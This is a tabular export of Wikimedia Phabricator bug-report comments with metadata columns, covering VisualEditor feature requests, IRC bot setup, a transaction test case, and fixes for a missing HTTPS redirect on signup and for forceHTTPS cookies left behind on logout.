+Which versions of VE and Parsoid versions do you use?",,,1358100484,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+45118,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"<hiero>....</hiero> is unparsed but shown as plain wikitext:
+https://en.wikipedia.org/wiki/User:Raymond/hiero
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/User:Raymond/hiero",Lowest,10.0,1355479200,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-flnjgejb5tcqxovz54rt,task_description,open,True,c1,1,False,False,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+183121,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"Moving this back to WikiHiero for writing the VisualEditor rich editor, if someone ever wants to do this (the basic source one is now done).",,,1376115313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,5,,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+183115,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"The above tag lets you edit the hiero syntax and preview it.
+
+This could be further extended to provide a hiero IME, but that's not going to be on our priority list any time soon.",,,1375554659,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+183109,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"Hieroglyphics support.
+
+https://gerrit.wikimedia.org/r/77508",,,1375554460,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44735,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Puppet config for wikibugs:
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=blob;f=manifests/misc/wikibugs.pp
+
+Puppet config for gerrit-wm:
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=blob;f=manifests/gerrit.pp
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1354738560,1398113038.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ciosa56mnibqn4lx27ub,task_description,resolved,True,c1,0,True,False,False,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+185314,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Change 37570 abandoned by Jforrester:
+wikibugs: Set up #mediawiki-visualeditor
+
+Reason:
+We gave up and moved to using pywikibugs instead.
+
+https://gerrit.wikimedia.org/r/37570",,,1398113588,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+185310,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Change 54984 abandoned by Jforrester:
+Filter VisualEditor product to new mediawiki-visualeditor.log
+
+Reason:
+We gave up and moved to using pywikibugs instead.
+
+https://gerrit.wikimedia.org/r/54984",,,1398113560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+185306,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,The bugs are now being reported in #mediawiki-visualeditor by pywikibugs.,,,1398113038,,PHID-USER-muirnivxp5hzppn2a3z7,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+185303,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Related URL: https://gerrit.wikimedia.org/r/54984 (Gerrit Patch-Set: I04e82cb392f1ad680db6c469f76fb717d435c20d/1),,,1363816716,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+185298,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Related URL: https://gerrit.wikimedia.org/r/37570 (Gerrit Patch-Set: Id7405c8ee9a8658ed7afae844a870e0253a73806/4),,,1363816181,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+185292,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"gerrit-wm is done, but wikibugs is ""an almighty pile of crap"" and would need major work; moving to Lowest.",,,1360206228,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+185285,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Attempted fixes in Gerrit 37566 and Gerrit 37570.,,,1354926921,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44222,VisualEditor: Two replacements within the same transaction and the same paragraph cause change markers to be off,"Test case:
+
++                       'removing then inserting a character': {
++                               'calls': [
++                                       ['pushRetain', 41],
++                                       ['pushReplace', ['i'], []],
++                                       ['pushReplace', [], ['j']]
++                               ],
++                               'expected': function ( data ) {
++                                       data[41] = 'j';
++                                       ve.setProp( data[37], 'internal', 'changed', 'content', 2 );
++                               }
+                        }
+
+This sets the second change marker on data[36]. This happens because the start offsets handled in TransactionProcessor.replace are translated using this.adjustment , but that glosses over the fact that not all adjustments captured in this.adjustment actually apply if the offset is before the cursor. Instead, we need some sort of offset translation. I tried using ve.dm.Transaction.translateOffset() but that doesn't seem to work out of the box very well.
+
+I guess theoretically this might also be an issue with other uses of .start attributes in the replacement processor, but it hasn't led to issues so far.
+
+Low prio because we currently don't generate transactions that trigger this case.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Lowest,10.0,1353134520,1360975473.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-guukovmsjsnlpphgujcv,task_description,invalid,True,c1,0,False,False,True,-33,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+205956,VisualEditor: Two replacements within the same transaction and the same paragraph cause change markers to be off,With bug 45061 all change marker code has been removed.,,,1360975473,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-guukovmsjsnlpphgujcv,task_subcomment,,True,c1,1,True,,,-20,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+55651,Redirect to HTTPS for account creation,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.
+
+Is there any reason to allow the login details to be sent in cleartext even once?
+
+What I expect: [1] should redirect to [2]
+
+[1] http://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup
+
+[2] https://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Unbreak Now!,100.0,1378034760,1380742050.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_description,resolved,True,c2,3,True,False,True,0,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+255648,Redirect to HTTPS for account creation,"Woops
+
+https://gerrit.wikimedia.org/r/86314
+Merged",,,1380742050,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+255641,Redirect to HTTPS for account creation,"csteipp: Any news here, after Tyler's reply?",,,1380725902,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+255635,Redirect to HTTPS for account creation,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement.",,,1378786846,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,1,True,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+255626,Redirect to HTTPS for account creation,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?",,,1378747956,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+255619,Redirect to HTTPS for account creation,Confirmed on enwiki. Re-prioritizing.,,,1378745232,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+255616,Redirect to HTTPS for account creation,"(In reply to comment #1)
+Sorry, I meant:
+
+http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup
+
+and 
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup
+
+(In the original post, the link points to the login page rather than the signup page.)",,,1378244685,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+255610,Redirect to HTTPS for account creation,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,
+
+http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page
+
+should redirect to
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page
+
+But currently it doesn't redirect.",,,1378244463,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+55536,forceHTTPS cookie not deleted in Wikimedia environment,"When a user logs out on a single wiki (not included in a wiki farm) the forceHTTPS cookie is deleted. In the Wikimedia environment, login.wikimedia.org sets top-domain forceHTTPS cookies (.wikipedia.org, .wikiversity.org, etc) which are not deleted when the user logs out and therefore s/he is still redirected to HTTPS as anonymous user; even if s/he logs in again after having unckecked the preference ""Always use a secure connection when logged in"" s/he still is redirected to HTTPS since the global forceHTTPS cookie is still here. So these global forceHTTPS cookies should be deleted when the user logs out. The relevant HTTP headers are:
+
+Login from the specific wiki (here frwiki):
+  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT;
+path=/; httponly
+Continuation of the login, from login.wikimedia.org:
+  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT;
+path=/; domain=.wikipedia.org; httponly
+
+Logout (specific wiki):
+  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
+path=/; secure; httponly
+
+
+I originally reported this bug on bug 53379 but this one was focused on a user interaction issue rather than on a real forceHTTPS cookie issue (it was a single wiki); my first remarks are there. I mistakenly made a diagnosis and proposed a solution, but the real bug is this one.
+
+--------------------------
+**Version**: master
+**Severity**: major",Unbreak Now!,100.0,1377785220,1378923671.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-jpulwcf2p4qtamabtdak,task_description,resolved,True,c2,3,False,False,True,0,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+248693,forceHTTPS cookie not deleted in Wikimedia environment,"Deployed, so re-closing",,,1378923671,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+248688,forceHTTPS cookie not deleted in Wikimedia environment,"CA bug fixed with https://gerrit.wikimedia.org/r/#/c/83551/
+
+WMF config that caused us to hit that codepath fixed with https://gerrit.wikimedia.org/r/#/c/83555/",,,1378759103,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0
+248682,forceHTTPS cookie not deleted in Wikimedia environment,"We had a bug in the CentralAuth patch, so I reverted the change, and we'll need to deploy it later this week.",,,1378754463,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+248676,forceHTTPS cookie not deleted in Wikimedia environment,"Sorry for not responding to the backport request sooner. We hope to get this deployed today. The schedule is tight due to it being a short deploy-week here (we have an All Hands on Thurs/Fri, thus making our deploy week only 3 days long instead of the normal 4).",,,1378750574,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+248669,forceHTTPS cookie not deleted in Wikimedia environment,"Sep 19th is in ten days, and there are users who have trouble editing because of this bug right now. So yes, I'd suggest a quicker deployment.",,,1378746410,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+248661,forceHTTPS cookie not deleted in Wikimedia environment,"(In reply to comment #8)
+> The ""Backport_WMF?"" flag is still unresolved here. Is it going to be
+> backported? It should IMO.
+
+If you think we need it sooner than Sept 19th, then yes, we can update CA to master in one go sometime this week.",,,1378746045,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1
+248653,forceHTTPS cookie not deleted in Wikimedia environment,"The ""Backport_WMF?"" flag is still unresolved here. Is it going to be backported? It should IMO.",,,1378745286,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+248645,forceHTTPS cookie not deleted in Wikimedia environment,"As per https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap the fix will be available (""deployed"") on MediaWiki.org on Thursday September 12, on all non-Wikipedia sites on Monday September 16, and on Wikipedias on Thursday September 19.
+Please reopen if the problem still exists after these dates. Thanks!",,,1378745216,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+248638,forceHTTPS cookie not deleted in Wikimedia environment,"Change 82634 merged by jenkins-bot:
+Delete forceHTTPS cookies on logout
+
+https://gerrit.wikimedia.org/r/82634",,,1378414481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248630,forceHTTPS cookie not deleted in Wikimedia environment,"Change 82634 had a related patch set uploaded by Anomie:
+Delete forceHTTPS cookies on logout
+
+https://gerrit.wikimedia.org/r/82634",,,1378312911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248622,forceHTTPS cookie not deleted in Wikimedia environment,"(In reply to comment #2)
+> This is a bug in Extension:CentralAuth. It fails to clear the cookie when
+> CentralAuthUser::deleteGlobalCookies() is called.
+
+It's more than that. CentralAuth doesn't actually need to call deleteGlobalCookies() on logout to make the user be logged out everywhere because changing the saved login token means the centralauth_Token cookies are no longer valid. So the calling of deleteGlobalCookies() on all wikis on logout was removed during the course of the SUL2 work. That needs to be re-added in order to clear this forceHTTPS cookie on all wikis.
+
+We're also going to have to take care of the forceHTTPS cookie set by core: Say you log in on dewiki, you actually get *two* forceHTTPS cookies, one for de.wikipedia.org set by core and one for .wikipedia.org set by CentralAuth. If you log out on dewiki everything works fine, but if you log out on any other site then that de.wikipedia.org forceHTTPS cookie isn't (and can't easily be) deleted.",,,1378312898,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,1,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+248615,forceHTTPS cookie not deleted in Wikimedia environment,"@Bartosz: yes, major.
+
+I added a temporary work-around in [[meta:HTTPS]] instructing the users to remove the cookies forceHTTPS, although the cookies are quite hidden in most browsers and difficult to find for the users.",,,1378115717,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
